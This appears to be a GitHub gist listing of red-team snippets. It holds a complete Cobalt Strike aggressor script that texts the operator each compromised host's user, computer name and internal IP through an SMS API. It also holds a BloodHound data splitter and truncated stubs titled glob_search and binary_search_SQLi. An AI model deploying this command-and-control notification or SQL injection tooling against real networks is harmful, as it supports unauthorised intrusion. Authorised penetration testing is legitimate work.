Skip to content

Instantly share code, notes, and snippets.

View Acebond's full-sized avatar

Acebond

View GitHub Profile
@Acebond
Acebond / sms_notification.cna
Created June 10, 2021 00:28
Cobalt Strike aggressor scripts to send a text message notification for new beacons
# Send a text message for new shells
# Replace HOSTNAME, USERNAME, PASSWORD and PHONE_NUMBER.
# Uses transmitsms.com so you'll need an account
on beacon_initial {
$user = beacon_data($1) ["user"];
$computer = beacon_data($1) ["computer"];
$internalIP = replace(beacon_info($1,"internal")," ","_");
$msg = "New Beacon " . $user . "@" . $computer . " (" . $internalIP . ") on HOSTNAME Teamserver";
exec(@('curl','-X','GET','-G','--url','https://api.transmitsms.com/send-sms.json','-u','USERNAME:PASSWORD','--data-urlencode','message=' . $msg,'-d','to=PHONE_NUMBER'));
}
@Acebond
Acebond / glob_search.go
Created May 19, 2021 12:08
glob_search
package main
import (
"fmt"
"log"
"net/http"
"os"
"strings"
// "net/url"
)
@Acebond
Acebond / bh_split2.py
Last active October 3, 2023 17:39
Split large SharpHound datasets (JSON files) into smaller files that can more easily be imported into BloodHound. Especially useful due to the Electron memory limitations.
#!/usr/bin/python3
# Based on https://gist.github.com/deltronzero/7c23bacf97b4b61c7a2f2950ef6f35d8
# pip install simplejson
import simplejson
import sys
def splitfile(file_name, object_limit):
print(f"[*] Loading {file_name}")
with open(file_name) as f:
data = simplejson.load(f)
@Acebond
Acebond / main.go
Created April 14, 2020 10:21
binary_search_SQLi
package main
import (
"bytes"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"sync"